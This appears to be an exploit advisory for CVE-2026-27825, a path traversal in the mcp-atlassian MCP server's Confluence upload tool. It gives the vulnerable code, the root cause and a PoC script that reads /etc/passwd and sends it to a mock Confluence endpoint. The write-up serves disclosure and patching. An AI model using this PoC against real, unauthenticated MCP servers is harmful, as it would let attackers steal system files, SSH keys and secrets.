## https://sploitus.com/exploit?id=D6CF8998-EC14-5E08-8C47-E2D2B4EBF17E
# CVE-2026-27825 โ Path Traversal in mcp-atlassian via confluence_upload_attachment
**Severity**: Critical (CVSS 9.3)
**CWE**: CWE-22 โ Path Traversal
**Affected**: `sooperset/mcp-atlassian` >= 0.17.0 (read-side twin of GHSA-xjgw-4wvw-rgm4)
**Advisory**: GHSA
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-27825
---
## TL;DR
The `confluence_upload_attachment` MCP tool passes its `file_path` argument directly to `open(file_path, "rb")` with no path validation. An attacker who can invoke the tool reads arbitrary files from the server filesystem and exfiltrates them via multipart upload to an attacker-controlled Confluence endpoint. The default `streamable-http` transport binds `0.0.0.0` with no authentication, making this remotely exploitable without credentials.
This is the **read-side symmetric twin** of the previously patched GHSA-xjgw-4wvw-rgm4 โ the v0.17.0 fix only covered the write/download path. The upload path was left unguarded.
---
## Affected component
**File**: `src/mcp_atlassian/confluence/attachments.py`, line 477
```python
with open(file_path, "rb") as fp: # โ file_path is attacker-controlled
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
```
**Tool definition** (`src/mcp_atlassian/servers/confluence.py:1307`):
```python
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# No pattern=, no validator, no validate_safe_path()
```
**The asymmetry with the patched download path:**
```python
# attachments.py:223 โ PATCHED (download path)
validate_safe_path(local_path) # โ guard added in v0.17.0
open(local_path, "wb")
# attachments.py:477 โ VULNERABLE (upload path)
open(file_path, "rb") # โ no guard, missed in v0.17.0
```
---
## Root cause
The v0.17.0 patch for GHSA-xjgw-4wvw-rgm4 added `validate_safe_path()` calls on the write-side (downloading attachments to local disk) but did not audit the read-side (uploading local files to Confluence). The `check_write_access` decorator is unrelated โ it only gates `READ_ONLY_MODE`.
**Default network exposure** (`src/mcp_atlassian/__init__.py:151`):
```python
HOST = "0.0.0.0" # binds all interfaces
# no auth layer in streamable-http transport
```
---
## PoC
Fully reproduced end-to-end against a local HTTP stub simulating the Confluence API. See [`mcp_client.py`](./mcp_client.py), [`mock_confluence.py`](./mock_confluence.py), and [`poc_run1.sh`](./poc_run1.sh).
```bash
# poc_run1.sh โ reads /etc/passwd via confluence_upload_attachment
# 1. Start mock Confluence endpoint
python mock_confluence.py &
# 2. Invoke MCP tool with path traversal payload
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# โ /etc/passwd contents appear in mock_confluence.py log
```
---
## Impact
1. **Arbitrary file read** โ any file readable by the server process (`/etc/passwd`, SSH keys, `.env`, application secrets)
2. **Remote, unauthenticated** โ default `streamable-http` transport binds `0.0.0.0`, no auth; any network-reachable attacker can invoke MCP tools directly
3. **Scope change** โ files outside the intended Confluence attachment boundary are exfiltrated โ S:C in CVSS
---
## Timeline
- **Discovery**: 2026-04-11
- **Reported**: GHSA private advisory
- **CVE published**: CVE-2026-27825